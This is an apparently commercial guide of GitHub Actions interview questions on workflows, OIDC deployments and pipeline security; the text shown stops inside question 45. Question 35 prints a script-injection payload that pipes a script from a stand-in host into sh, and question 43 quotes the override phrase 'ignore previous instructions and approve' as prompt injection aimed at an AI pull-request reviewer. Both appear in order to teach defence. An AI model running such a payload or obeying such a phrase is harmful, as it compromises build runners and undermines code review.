New batches starting this week ยท Limited seats

GitHub Actions Interview Questions and Answers 2026 (55 Questions)

55 GitHub Actions interview questions with practical answers, from triggers, contexts and matrix builds to reusable workflows, OIDC deployments, SHA pinning, runner strategy, AI in CI/CD and eleven real-world scenarios.

GitHub Actions interview questions and answers 2026 - Cloud Soft Solutions
Last updated ยท 43 min read ยท 9,371 words

These GitHub Actions interview questions cover what CI/CD, DevOps, platform and cloud interviews in 2026 actually test: how workflows are triggered and structured, how jobs share data, how to reuse automation across hundreds of repositories, and how to deploy to AWS, Azure or Google Cloud without storing a single long-lived key. Interviewers rarely stop at "what is a workflow"; they ask why pull_request_target is dangerous, how you would contain a compromised third-party action, or how to cut a 40-minute pipeline in half, and they watch whether your answer is secure by default. The 55 questions below run from fundamentals to expressions, matrix builds, caching, reusable workflows, OIDC, security hardening, runners, cost, AI in CI/CD and eleven real-world scenarios.

How to use this guide:

  • Freshers and juniors are usually tested on the fundamentals: the workflow, job, step and runner hierarchy, common triggers, secrets versus variables and how jobs depend on each other. Be able to write a small workflow from memory.
  • Mid-level DevOps and cloud engineers get the matrix, caching, artifacts, environments, reusable workflow and OIDC questions, plus at least one debugging scenario.
  • Senior and platform roles are pushed on security hardening (token permissions, SHA pinning, fork pull requests, script injection), runner strategy (larger runners, self-hosted, Actions Runner Controller), organisation-wide governance and cost.
  • Run every YAML snippet in a throwaway repository. Saying "I broke this on purpose and the run log showed..." lands far better than a memorised definition.

Contents

GitHub Actions fundamentals

1. What is GitHub Actions, and how are workflows, jobs, steps and runners related?

Answer: GitHub Actions is GitHub's built-in automation and CI/CD platform. A workflow is a YAML file in .github/workflows/ that runs when an event happens (a push, a pull request, a schedule, a manual trigger). A workflow contains one or more jobs; each job runs on a fresh runner (a virtual machine or container) and contains ordered steps. A step either runs a shell command (run) or calls a reusable unit called an action (uses). Jobs run in parallel by default; steps inside a job run in sequence and share the same file system.

Interview tip: Say the hierarchy in one breath, "event triggers workflow, workflow has jobs, each job gets a runner, jobs have steps, steps run commands or actions", then add the one fact juniors miss: jobs do not share a disk, so passing files between jobs needs artifacts or outputs.

2. Walk through the anatomy of a basic workflow file.

Answer: Three top-level keys matter most: on (what triggers it), permissions (what the automatic token may do) and jobs. A minimal Node.js CI workflow:

name: ci
on:
  push:
    branches: [main]
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 24
          cache: npm
      - run: npm ci
      - run: npm test

runs-on selects the runner, uses pulls in an action at a version, with passes inputs, and run executes shell commands. Setting permissions and timeout-minutes explicitly is a habit interviewers notice.

3. What is the difference between an action, a step, a job and a workflow?

Answer: A workflow is the whole automated process in one YAML file. A job is a unit of work that gets its own runner and can depend on other jobs. A step is one line item inside a job. An action is a packaged, versioned piece of logic (JavaScript, Docker container or composite) that a step calls with uses, for example actions/checkout. Actions are building blocks; workflows are the assembled pipeline. A whole workflow can also be reused as a building block via workflow_call (Q25).

4. What is a runner? Compare GitHub-hosted and self-hosted runners.

Answer: A runner is the machine that executes a job. GitHub-hosted runners are fresh VMs (Linux, Windows, macOS, including Arm images) that GitHub provisions per job and discards afterwards, so every job starts clean. Self-hosted runners are machines you register yourself, on-premises or in your cloud, which you patch, scale and secure. Self-hosted makes sense when you need private network access to internal systems, special hardware, very large caches or custom images; hosted runners win on zero maintenance and isolation.

Interview tip: Mention that ubuntu-latest moves to new OS versions over time. Pin ubuntu-24.04 when a build depends on specific system packages, and use -latest when you prefer to track upgrades.

5. How does the needs keyword work?

Answer: needs makes a job wait for one or more other jobs to finish successfully, turning parallel jobs into a dependency graph. needs: [build, lint] runs a job only after both succeed. If a dependency fails or is skipped, the dependent job is skipped unless its if uses a status function such as always() or failure(). needs also exposes upstream job outputs through the needs context, for example needs.build.outputs.image_tag.

Real-world example: A typical graph is lint and unit-test in parallel, build-image needing both, then deploy-staging needing build-image, with a final notify job using if: always() so the team hears about failures too.

6. What is the difference between secrets and configuration variables?

Answer: Secrets hold sensitive values (API keys, tokens). They are encrypted, masked in logs, read through the secrets context and are not passed to workflows triggered from forks (apart from GITHUB_TOKEN). Variables hold non-sensitive configuration (region names, feature flags, URLs), are shown in plain text and are read through the vars context. Both exist at organisation, repository and environment level; when names collide, the most specific level wins (environment over repository over organisation). A single secret can be up to 48 KB.

Interview tip: Add the subtle point from GitHub's security guidance: never store structured data (a whole JSON blob) as one secret, because redaction can fail on parts of it. Store each sensitive value as its own secret.

7. What is the GITHUB_TOKEN?

Answer: It is an installation access token that GitHub creates automatically for every job, scoped to the repository running the workflow. It lets the workflow call the GitHub API, comment on pull requests, push tags or publish packages without a personal access token. It expires when the job finishes (at most 24 hours on self-hosted runners), and its permissions come from repository or organisation defaults narrowed by the permissions key (Q33). One behaviour causes many support tickets: events created with GITHUB_TOKEN (for example a push) do not trigger new workflow runs, except workflow_dispatch and repository_dispatch. That rule prevents accidental infinite loops.

8. How do you evaluate a third-party action from the Marketplace before using it?

Answer: Treat every action as code that runs with your tokens and secrets. Check who maintains it (a verified creator or a well-maintained organisation versus a single unknown account), read the source and its action.yml, see what it downloads at runtime, check open security issues and how recent the releases are, and prefer official actions from the platform vendor (actions/*, aws-actions/*, azure/*, google-github-actions/*). Then pin it to a full commit SHA and give the job minimal permissions; if the logic is a few lines of shell, write it yourself.

9. How does GitHub Actions compare with Jenkins and GitLab CI/CD?

Answer: All three run pipelines as code; the differences are hosting model and ecosystem.

AspectGitHub ActionsJenkinsGitLab CI/CD
HostingSaaS with hosted runners; self-hosted optionalYou run the controller and agentsSaaS or self-managed; runners hosted or your own
Pipeline definitionYAML in .github/workflows/Jenkinsfile (Groovy DSL).gitlab-ci.yml
ReuseActions, reusable workflows, composite actionsPlugins, shared librariesIncludes, templates, CI/CD components
Natural fitCode already on GitHub, event-driven automationHeavily customised or air-gapped estatesTeams on GitLab wanting one integrated platform

Interview tip: Avoid "X is better". Say what you would choose for a given context and why, and mention migration cost: many enterprises in Indian GCCs still run Jenkins for legacy pipelines while new services start on Actions. For the GitLab side, see these GitLab CI/CD interview questions.

10. How do workflow_dispatch and repository_dispatch work?

Answer: workflow_dispatch adds a "Run workflow" button (and API or CLI trigger) with typed inputs, which is ideal for manual deployments, rollbacks and maintenance jobs. repository_dispatch lets an external system trigger a workflow through the REST API with a custom event type and a JSON payload, for example a CMS publishing content or another repository finishing a build.

on:
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
        required: true
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deploying to ${{ inputs.environment }}"

From the terminal: gh workflow run deploy.yml -f environment=staging.

Triggers, expressions and contexts

11. Which triggers and filters do you use most, and what are their gotchas?

Answer: The everyday set is push and pull_request with branches, tags and paths filters, schedule (cron), workflow_dispatch, release and merge_group for merge queues. Gotchas worth naming:

  • You cannot combine branches and branches-ignore (or paths and paths-ignore) for the same event; use negative patterns with ! instead.
  • When both branch and path filters are set, both must match.
  • schedule runs on the latest commit of the default branch, the shortest interval is every five minutes, runs can be delayed at busy times, and in public repositories scheduled workflows are disabled after 60 days without repository activity.
  • If you use a merge queue with required checks, the workflow must also trigger on merge_group, or the queue waits forever.

12. What is the difference between pull_request, pull_request_target and workflow_run?

Answer: pull_request runs the workflow from the pull request's merge commit; for fork pull requests it gets no secrets and a read-only token, which makes it safe for building untrusted code. pull_request_target runs the workflow definition from the default branch in a privileged context: it can have a write token and access to secrets even when the pull request comes from a fork. It exists for tasks like labelling or commenting on fork pull requests. workflow_run fires when another workflow completes and is also privileged, even if the triggering workflow was not.

The rule from GitHub's secure-use guidance: privileged workflows must not check out or execute untrusted code from the pull request. Checking out the fork's head commit and running npm install inside pull_request_target hands an attacker your secrets (scenario Q46).

13. What are expressions and contexts?

Answer: Expressions are evaluated with ${{ ... }} syntax and can read contexts, which are objects describing the run: github (event, ref, actor, repository), env, vars, secrets, inputs, matrix, strategy, needs, steps, job and runner. Built-in functions include contains(), startsWith(), format(), join(), toJSON(), fromJSON() and hashFiles(). Not every context is available everywhere; for example secrets cannot be used directly in a step's if, and runs-on cannot read steps.

Interview tip: Expressions are expanded before the shell runs. That is exactly why interpolating untrusted values into run scripts is dangerous (Q35).

14. How do if conditions and status-check functions work?

Answer: if can be set on a job or a step. Without a status function, an implicit success() is added, so the step runs only if everything before it succeeded. failure() runs when a previous step or dependency failed, cancelled() when the run was cancelled, and always() runs regardless.

- name: Upload test report
  if: ${{ !cancelled() }}
  uses: actions/upload-artifact@v7
  with:
    name: junit-report
    path: reports/
- name: Deploy
  if: >-
    github.ref == 'refs/heads/main' &&
    github.event_name == 'push'
  run: ./deploy.sh

Interview tip: Prefer !cancelled() over always() for reporting steps; always() keeps running even when someone cancels the run on purpose.

15. How do you pass data between steps and between jobs?

Answer: Between steps, write to the environment files the runner provides: echo "tag=v1.4.2" >> "$GITHUB_OUTPUT" creates a step output read as steps.<id>.outputs.tag; appending to $GITHUB_ENV sets an environment variable for later steps; $GITHUB_STEP_SUMMARY adds Markdown to the run summary page. Between jobs, map step outputs to job outputs and read them via needs:

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      tag: ${{ steps.meta.outputs.tag }}
    steps:
      - id: meta
        run: echo "tag=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deploying ${{ needs.build.outputs.tag }}"

Files move between jobs as artifacts (Q21). The old ::set-output workflow command is deprecated; mention that you have migrated scripts away from it.

16. What does concurrency do?

Answer: concurrency puts runs or jobs into a named group so that only one runs at a time. With cancel-in-progress: true, a new run cancels the older one, which is ideal for pull request CI where only the latest commit matters. For deployments, keep cancel-in-progress: false so a half-finished production deploy is never killed; the new run waits instead. By default only one run waits in the group and newer pending runs replace it; current workflow syntax also documents a queue option that can keep more pending runs in order (check the docs for its exact behaviour on your plan).

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

17. What timeouts and limits should you know?

Answer: timeout-minutes on a job defaults to 360 minutes; set it much lower (10 to 30 minutes for most CI) so a hung test does not burn hours. Platform limits worth knowing: a job on a GitHub-hosted runner can run up to 6 hours, a job on a self-hosted runner up to 5 days, a whole workflow run (including waiting and approvals) up to 35 days, a matrix can generate at most 256 jobs per workflow run, and a self-hosted job that cannot find a runner is cancelled after 24 hours in the queue. Steps can also take timeout-minutes, and continue-on-error: true lets a step or job fail without failing the run, which suits experimental checks.

Matrix, caching, artifacts and environments

18. How does a matrix strategy work?

Answer: strategy.matrix expands one job definition into many jobs, one per combination of values. include adds extra combinations or extra keys to existing ones, exclude removes combinations, fail-fast (on by default) cancels in-progress matrix jobs when one fails, and max-parallel caps how many run at once.

strategy:
  fail-fast: false
  max-parallel: 4
  matrix:
    os: [ubuntu-latest, windows-latest]
    python: ["3.12", "3.13"]
    exclude:
      - os: windows-latest
        python: "3.12"
    include:
      - os: ubuntu-latest
        python: "3.13"
        coverage: true
runs-on: ${{ matrix.os }}

Interview tip: Quote Python versions as strings; YAML reads 3.10 as the number 3.1. It is a small detail that signals real experience.

19. How do you build a dynamic matrix?

Answer: Compute the list in an earlier job, emit it as JSON in a job output and feed it to fromJSON(). This is the standard pattern for monorepos (build only changed services) or for testing against a list fetched at runtime.

jobs:
  plan:
    runs-on: ubuntu-latest
    outputs:
      list: ${{ steps.find.outputs.list }}
    steps:
      - uses: actions/checkout@v7
      - id: find
        run: |
          list=$(ls services | jq -R . | jq -cs .)
          echo "list=$list" >> "$GITHUB_OUTPUT"
  build:
    needs: plan
    if: needs.plan.outputs.list != '[]'
    runs-on: ubuntu-latest
    strategy:
      matrix:
        service: ${{ fromJSON(needs.plan.outputs.list) }}
    steps:
      - run: echo "Building ${{ matrix.service }}"

Guard against an empty list, because a matrix with no values fails the job.

20. How does dependency caching work, and what are its rules?

Answer: actions/cache saves a path under a key and restores it in later runs. On a miss it tries restore-keys prefixes, preferring the most recent match. Most setup-* actions (Node, Python, Java, Go) have a built-in cache input that handles this for package managers. Rules interviewers probe:

  • A cache entry is immutable; to change contents you need a new key, usually built with hashFiles('**/package-lock.json').
  • Entries unused for 7 days are evicted, and repositories have a storage limit (10 GB by default, which administrators can raise at extra cost).
  • A run can restore caches from its own branch, the default branch and, for pull requests, the base branch; sibling branches cannot see each other's caches.
  • Anyone who can open a pull request can read caches from the base branch, so never cache credentials.
- uses: actions/cache@v6
  with:
    path: ~/.cache/pip
    key: pip-${{ hashFiles('requirements.txt') }}
    restore-keys: |
      pip-

When the same job runs on several operating systems, add ${{ runner.os }} to the key and the restore prefix.

The cache backend was rebuilt in early 2025, and older major versions of the cache action were retired, so current workflows should be on a recent major version. actions/cache/restore and actions/cache/save split the two halves when you need control, for example saving only on the default branch.

21. What is the difference between artifacts and caches, and what changed with artifacts v4?

Answer: A cache speeds up future runs by reusing dependencies; it is optional and can be evicted at any time. An artifact is an output of this run (a build, a test report, a coverage file) that you pass to a later job or download for inspection. Artifacts default to 90 days of retention, adjustable with retention-days.

From v4 of upload-artifact and download-artifact (current releases build on it), artifacts are immutable: several jobs can no longer append to one artifact with the same name, so matrix jobs upload uniquely named artifacts (for example report-${{ matrix.os }}) and you download them with a pattern or merge them. There is an overwrite option to replace an artifact deliberately, hidden files are excluded by default to avoid leaking things like .env, a job can upload up to 500 artifacts, and artifacts created by v3 are not compatible with v4 and later. v3 stopped working on github.com in January 2025.

22. How do you run integration tests that need a database or other services?

Answer: Use service containers in the job. GitHub starts them before the steps, on a shared network, with health checks so tests wait until the database is ready.

jobs:
  integration:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:17
        env:
          POSTGRES_PASSWORD: postgres
        ports:
          - 5432:5432
        options: >-
          --health-cmd "pg_isready -U postgres"
          --health-interval 5s
          --health-retries 10
    steps:
      - uses: actions/checkout@v7
      - run: ./run-integration-tests.sh
        env:
          PGHOST: localhost
          PGUSER: postgres
          PGPASSWORD: postgres

When the job itself runs in a container (container:), reach the service by its label (postgres) instead of localhost. Service containers need a Linux runner.

23. How do you build and publish a Docker image from GitHub Actions?

Answer: Use Docker's official actions: docker/setup-buildx-action, docker/login-action, docker/metadata-action for tags and labels, and docker/build-push-action. For GitHub Container Registry, log in with GITHUB_TOKEN and grant packages: write; for Amazon ECR or Azure Container Registry, authenticate through OIDC first (Q31, Q32). Layer caching with the Actions cache backend (cache-from: type=gha, cache-to: type=gha,mode=max) often makes the biggest speed difference. Tag images with the commit SHA (immutable) rather than only latest, and consider generating provenance attestations (Q37). Docker fundamentals themselves are covered in these Docker interview questions.

24. What are environments and deployment protection rules?

Answer: An environment (for example staging, production) is a named deployment target that a job references with environment:. Environments carry their own secrets and variables and can enforce protection rules before the job starts:

  • Required reviewers: up to six users or teams; one approval is enough, and you can prevent the person who triggered the run from approving it.
  • Wait timer: a delay of up to 30 days (43,200 minutes) that does not count as billable time.
  • Deployment branches and tags: only main or release tags may deploy to production.
  • Custom deployment protection rules: GitHub Apps can gate deployments on an external check, such as a change ticket in ServiceNow or a monitoring signal.

Environment secrets are released only to jobs that reference the environment and only after the rules pass. For private repositories, some of these features depend on your GitHub plan.

deploy-prod:
  needs: deploy-staging
  runs-on: ubuntu-latest
  environment:
    name: production
    url: https://app.example.com
  steps:
    - run: ./deploy.sh production

Reusable workflows, composite actions and pipeline architecture

25. What are reusable workflows, and how do you call one?

Answer: A reusable workflow declares on: workflow_call with typed inputs, secrets and outputs; a caller invokes it at the job level with uses (it cannot be called as a step).

# acme/ci-templates: .github/workflows/deploy.yml
on:
  workflow_call:
    inputs:
      environment:
        type: string
        required: true
    secrets:
      SLACK_WEBHOOK:
        required: false

# caller in an application repository
jobs:
  deploy:
    uses: acme/ci-templates/.github/workflows/deploy.yml@v3
    with:
      environment: staging
    secrets: inherit

Facts to know: you can connect up to ten levels of workflows (the top-level caller plus nine levels of reusable workflows); secrets: inherit passes the caller's secrets only within the same organisation or enterprise; secrets pass one level at a time, so in A calls B calls C, C gets only what B passes; environment variables set in the caller's workflow-level env are not propagated to the called workflow; and environment secrets cannot be passed through workflow_call, so the called workflow's job should declare the environment itself.

26. Reusable workflow or composite action: when do you use each?

Answer: A composite action bundles several steps into one action (runs.using: composite in action.yml) that runs inside the caller's job. A reusable workflow packages whole jobs, with their own runners, environments and approvals.

QuestionComposite actionReusable workflow
Unit of reuseSteps inside a jobOne or more complete jobs
RunnerUses the caller's runnerDefines its own runs-on
SecretsOnly via inputsDeclared secrets or secrets: inherit
Environments and approvalsNoYes
LogsOne collapsed stepEach job and step visible
Typical use"Set up our toolchain", "login and push""Our standard build, scan and deploy pipeline"

Two composite gotchas: every run step must set shell, and the action cannot read secrets directly. The other action types are JavaScript actions (fast, cross-platform, currently on the node20 or node24 runtimes, with the ecosystem moving to Node 24) and Docker container actions (any language, Linux runners only, slower to start).

27. How do you handle a monorepo in GitHub Actions?

Answer: Run only what changed. Options, from simple to flexible: separate workflows per service with on.push.paths filters; one workflow whose first job detects changed directories (with git diff against the base, or a vetted path-filter action) and emits a dynamic matrix (Q19); or a build tool with its own affected-graph logic (Nx, Turborepo, Bazel, Gradle) driven from Actions. Combine with per-service caches keyed on that service's lockfile, and concurrency groups per service so deployments do not block each other.

Interview tip: Mention the trap that catches teams: a required status check on a workflow that path filters skip leaves the pull request waiting forever (scenario Q53).

28. How do you standardise CI/CD across hundreds of repositories?

Answer: Layer it. Central reusable workflows and composite actions in a platform repository, versioned with tags so teams upgrade deliberately. Workflow templates in the organisation's .github repository, so new repositories start from an approved file. Repository rulesets that require specific workflows or status checks to pass before merging; this replaced the old "required workflows" feature in 2023. Allowed actions policies at organisation or enterprise level, restricting which actions may run, blocking specific ones and requiring SHA pinning (Q34). Finally, a default restricted GITHUB_TOKEN and OIDC trust policies that only accept tokens from approved workflows.

Real-world example: Consider a bank's GCC in Hyderabad with a few hundred microservice repositories. The platform team publishes build-scan-deploy.yml as a reusable workflow, a ruleset makes its security-scan job mandatory on every default branch, and the AWS deploy role trusts only tokens whose claims show that central workflow. Product teams keep freedom in their own test jobs, while deploy and scan are consistent everywhere.

29. Design a multi-stage pipeline from pull request to production.

Answer: Build once, promote the same artifact, and gate each stage harder than the last.

PR opened
  -> lint + unit tests + SAST (pull_request, read-only)
merge to main
  -> build image once, tag = commit SHA, push, attest
  -> deploy-dev      (auto)
  -> deploy-staging  (auto, smoke + integration tests)
  -> deploy-prod     (environment: production,
                      required reviewer, main only,
                      concurrency, no cancel)
  -> post-deploy checks -> auto rollback on failure

Each deploy job assumes a different cloud role through OIDC, scoped to its environment in the trust policy. The image is never rebuilt between stages, so what was tested is what ships. In GitOps setups the final stages change: the workflow updates the image tag in an environment repository and Argo CD or Flux reconciles the cluster; see these GitOps interview questions for that model.

GitHub Actions security and OIDC

30. How does OpenID Connect (OIDC) work with GitHub Actions?

Answer: Instead of storing cloud keys as secrets, the job asks GitHub's OIDC provider (https://token.actions.githubusercontent.com) for a short-lived signed JSON Web Token describing the run: repository, branch or environment, workflow, actor. The cloud provider trusts that issuer, checks the token's claims against a trust policy, and returns short-lived cloud credentials. The job needs permissions: id-token: write to request the token.

job (id-token: write)
  -> GitHub OIDC provider: signed JWT
       sub = repo:org/app:environment:production
  -> cloud STS / token exchange
       checks iss, aud, sub against trust policy
  -> short-lived credentials for this job only

The sub claim takes forms like repo:ORG/REPO:ref:refs/heads/main, repo:ORG/REPO:environment:NAME or repo:ORG/REPO:pull_request, and organisations can customise which claims it contains. A 2026 detail worth knowing: GitHub's OIDC reference documents an immutable subject format for repositories created after 15 July 2026, which adds owner and repository IDs (repo:OWNER@OWNER-ID/REPO@REPO-ID:...) so that a deleted and re-created name cannot inherit someone else's trust. Existing repositories can opt in. Check which format your repositories emit before writing trust conditions.

31. Show how you deploy to AWS with OIDC.

Answer: Create an IAM OIDC identity provider for token.actions.githubusercontent.com with audience sts.amazonaws.com, then a role whose trust policy restricts who can assume it. The trust policy statement allows the action sts:AssumeRoleWithWebIdentity for the federated principal arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com, with a StringEquals condition on two keys:

  • token.actions.githubusercontent.com:aud equals sts.amazonaws.com
  • token.actions.githubusercontent.com:sub equals repo:my-org/payments-api:environment:production

The workflow then assumes the role (the role ARN is stored as a configuration variable, since it is not secret):

permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v7
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
          aws-region: ap-south-1
      - run: aws sts get-caller-identity

The most common mistake is a trust policy that checks only aud, or uses a wildcard like repo:my-org/*, which lets any repository in the organisation assume the production role. Scope to repository plus environment or branch, and give the role only the permissions that deployment needs. For the AWS side in depth, see these AWS interview questions.

32. How does OIDC work for Azure and Google Cloud?

Answer: Same idea, different trust objects. On Azure, add a federated credential to a Microsoft Entra ID application (or user-assigned managed identity) matching the subject (for example the production environment), with audience api://AzureADTokenExchange, then use azure/login with client-id, tenant-id and subscription-id and no client secret. On Google Cloud, create a Workload Identity Federation pool and provider that trusts GitHub's issuer, add an attribute condition (for example on assertion.repository), and either grant access to the federated identity directly or allow it to impersonate a service account; then use google-github-actions/auth with workload_identity_provider (and service_account when impersonating). In all three clouds, the security lives in the subject or attribute condition, so review it like any other access policy.

33. How should you configure GITHUB_TOKEN permissions?

Answer: Administrators set a default at enterprise, organisation or repository level: permissive (read and write on most scopes) or restricted (read-only repository contents and packages). Choose restricted as the default, then grant extra scopes per workflow or, better, per job:

permissions:
  contents: read
jobs:
  release:
    permissions:
      contents: write
      id-token: write
    runs-on: ubuntu-latest
    steps:
      - run: echo "only this job can write"

Key behaviour: as soon as you specify any permission, every scope you did not list is set to none. Pull requests from forks get write scopes downgraded to read unless an administrator explicitly enables write tokens for fork pull requests, and Dependabot pull requests always run with a read-only token. permissions: {} removes all access for jobs that need none.

34. Why pin actions to a full commit SHA, and what did the tj-actions incident show?

Answer: Tags and branches are mutable: whoever controls the action's repository can move v4 to new code. GitHub's secure-use guidance states that pinning to a full-length commit SHA is currently the only way to use an action as an immutable release. In March 2025 the widely used tj-actions/changed-files action was compromised (CVE-2025-30066): an attacker repointed its existing version tags to a malicious commit that dumped runner memory, including secrets, into workflow logs, which were readable by anyone on public repositories. Investigators linked it to an earlier compromise of reviewdog/action-setup (CVE-2025-30154). Workflows pinned to a known-good SHA were not affected by the moved tags.

A pinned reference looks like uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1. Keep the version comment so humans and Dependabot can read it, and let Dependabot update pinned actions:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Since August 2025, the allowed actions policy can require full-length SHA pinning (unpinned actions then fail) and can block specific actions or versions with a ! prefix. GitHub has also made immutable releases generally available, which lock a release's tag and assets after publication; immutable actions built on that were announced in preview, so check current documentation before relying on tags instead of SHAs.

35. What is script injection in GitHub Actions, and how do you prevent it?

Answer: Expressions are substituted into the script before the shell runs, so attacker-controlled text (a pull request title, branch name, issue body or commit message) becomes code. A title like "; curl https://evil.example/x.sh | sh; # would run on your runner.

# vulnerable
- run: echo "Title ${{ github.event.pull_request.title }}"

# safer: pass through an environment variable
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title $PR_TITLE"

With the environment variable, the value is data in memory rather than part of the generated script. Also: prefer an action with inputs over inline scripts for untrusted data, quote variables, and run linters such as actionlint or a dedicated workflow security scanner (for example zizmor) in CI to catch these patterns. CodeQL also offers analysis for workflow files.

36. How do you secure self-hosted runners?

Answer: Assume any job can fully control the machine it runs on. So: almost never attach self-hosted runners to public repositories (anyone can open a pull request); use ephemeral runners that take one job and are destroyed (ARC scale sets or --ephemeral registration) so nothing persists between jobs; separate runner groups per trust level and restrict which repositories and workflows can use each group; run without broad cloud instance roles (use OIDC per job instead); restrict outbound network access to what builds need; and keep the runner application current (newer actions on Node 24 need a recent runner version). Never share one long-lived runner between a sandbox repository and production deploys.

37. Which security scans and supply-chain controls do you add to a pipeline?

Answer: A practical baseline: CodeQL code scanning (or another SAST tool) on pull requests and the default branch; the dependency review action to block pull requests that add vulnerable or disallowed-licence dependencies; secret scanning with push protection so keys never land in the repository; container image scanning before push; artifact attestations (actions/attest-build-provenance, needing id-token: write and attestations: write) so consumers can verify where an artifact was built, checked with gh attestation verify; and workflow linting. For a broader pipeline-security view, see these DevSecOps interview questions.

Runners, debugging, speed and cost

38. Larger runners, self-hosted runners or Actions Runner Controller: how do you choose?

Answer: Larger runners are GitHub-managed VMs with more CPU, RAM and disk, plus options such as static IP addresses, Azure private networking, GPU and Arm machines, runner groups and autoscaling. They are billed per minute and are not covered by included minutes. Choose them when you want speed or private connectivity without operating infrastructure. Self-hosted VMs fit special hardware, air-gapped networks or very heavy builds, at the cost of patching and scaling. Actions Runner Controller (ARC) is the GitHub-maintained Kubernetes operator that autoscales ephemeral runners in your cluster; you install it with two Helm charts, gha-runner-scale-set-controller (the operator) and gha-runner-scale-set (a scale set that jobs target with runs-on), and choose a container mode (Docker-in-Docker or Kubernetes mode with container hooks).

Production consideration: ARC is attractive when you already run EKS, AKS or GKE well. If your team struggles with cluster operations, larger runners are usually the cheaper choice once you count engineering time. Kubernetes depth is in these Kubernetes interview questions.

39. How do you debug a failing workflow?

Answer: Work from cheapest to deepest:

  1. Read the failed step's log and the run summary; gh run view <run-id> --log-failed shows just the failing parts.
  2. Re-run with debug logging: the "Re-run jobs" dialog has an "Enable debug logging" option, or use gh run rerun <run-id> --debug. To make it persistent, set a secret or variable ACTIONS_STEP_DEBUG=true (step debug) or ACTIONS_RUNNER_DEBUG=true (runner diagnostic logs, downloaded in the log archive).
  3. Print safe context with echo '${{ toJSON(github.event) }}' (never dump secrets).
  4. Reproduce locally with act (nektos/act), which runs workflows in Docker: act -l lists jobs, act pull_request -j test runs one job for that event, and --secret-file supplies test secrets. It is not a perfect copy of hosted runner images, so treat a local pass as a hint, not proof.
  5. Lint the YAML with actionlint to catch expression and syntax errors before pushing.

40. How do you make slow workflows faster?

Answer: Measure first (job and step timings in the run view), then apply the usual levers: cache dependencies and Docker layers; split long test suites across matrix shards; run independent jobs in parallel instead of one long job; skip unaffected work with path filters or affected-graph tools; use concurrency with cancel-in-progress for pull requests so superseded runs stop; use shallow checkout (the default fetch-depth: 1) unless you need history; move heavy builds to larger or Arm runners where it pays off; and fail fast by running lint and unit tests before expensive integration stages.

41. How do you control GitHub Actions cost?

Answer: Minutes on GitHub-hosted runners in private repositories are billed beyond the plan's included minutes, with multipliers by operating system and machine size; standard hosted runners are free for public repositories. Practical controls: tight timeout-minutes, cancelling superseded runs, path filters, caching, right-sizing runner types (macOS and large runners cost far more per minute), shorter artifact retention and fewer artifacts, scheduled jobs that actually need to run, and reviewing the usage reports and Actions usage metrics by repository and workflow. On pricing in 2026: GitHub reduced hosted runner prices from 1 January 2026, and announced a platform charge on self-hosted runner minutes, then postponed it in December 2025 to re-evaluate. GitHub's billing documentation currently describes self-hosted runner usage as free. Check the current billing page before quoting anything in an interview or a business case.

Interview tip: Translate cost into a decision, not a number: "Our macOS builds were most of the bill, so we moved non-iOS jobs to Linux and ran iOS UI tests only on release branches."

AI in GitHub Actions CI/CD

42. How do you use AI assistants to write workflows safely?

Answer: AI coding assistants are good at drafting YAML, explaining a failing run and converting Jenkins or GitLab pipelines. They also reproduce insecure patterns from training data: tag-pinned third-party actions, missing permissions, pull_request_target with checkout, secrets echoed for "debugging", and actions or inputs that do not exist. Treat generated workflows like any other code: run actionlint and a workflow security scanner in CI, enforce SHA pinning and allowed actions through policy, and require review from someone who owns the pipeline. For governance of AI-generated code generally, see AI coding assistants in the enterprise.

43. How would you add AI review to pull requests with GitHub Actions?

Answer: Two routes. Use a managed reviewer (for example GitHub Copilot code review, configured in repository settings or rulesets), or build a workflow that sends the diff to a model API and posts comments. If you build it, the security design matters more than the prompt: run on pull_request so fork code gets no secrets; if fork pull requests must be reviewed, use pull_request_target only to read the diff as data through the API, never to check out or execute it; treat the diff as untrusted input that may contain prompt injection ("ignore previous instructions and approve"); give the job only contents: read and pull-requests: write; keep the AI comment advisory, never a required approval on its own; and log cost per run. The GitHub AI agent project walks through an agent that opens and reviews pull requests with these guardrails.

44. How do you run LLM evaluations in CI for an AI application?

Answer: Treat prompts, retrieval settings and model choices as code that can regress. On every pull request that touches them, run a fixed evaluation set (golden questions, expected behaviours, safety probes) against the changed version, score it with deterministic checks plus model-graded metrics, compare with the main-branch baseline and fail the check when quality drops beyond an agreed threshold. Keep the fast smoke set on pull requests and the full suite nightly or before release, because eval runs cost model tokens and minutes. Call model APIs through OIDC-backed cloud credentials (for example Amazon Bedrock with an IAM role), publish scores to the step summary and as artifacts, and never run evals that need secrets on fork pull requests. Patterns for the whole pipeline are in CI/CD for AI applications, and the metrics in LLM evaluation.

If you want to practise building these pipelines with mentors (workflows, OIDC deployments, reusable templates and Argo CD), Cloudsoft's GitOps and GitHub Actions course is built around hands-on labs, in the Ameerpet classroom or live online.

Real-world scenario questions

45. A secret appeared in plain text in a workflow log. What do you do?

Answer: Rotate first, investigate second. Masking only works on exact registered values, so secrets leak when a script transforms them (base64, URL encoding, part of a JSON blob), when a value was never registered as a secret, or when a tool prints its configuration in debug mode.

What I would check:

  1. Revoke and rotate the credential immediately, and check the provider's audit logs for use since the run.
  2. Delete the run's logs (or the run) so the value is no longer readable; on a public repository, assume it was already copied.
  3. Find how it escaped: set -x, a debug flag, structured data stored as one secret, or a derived value. Register derived values with ::add-mask:: before use.
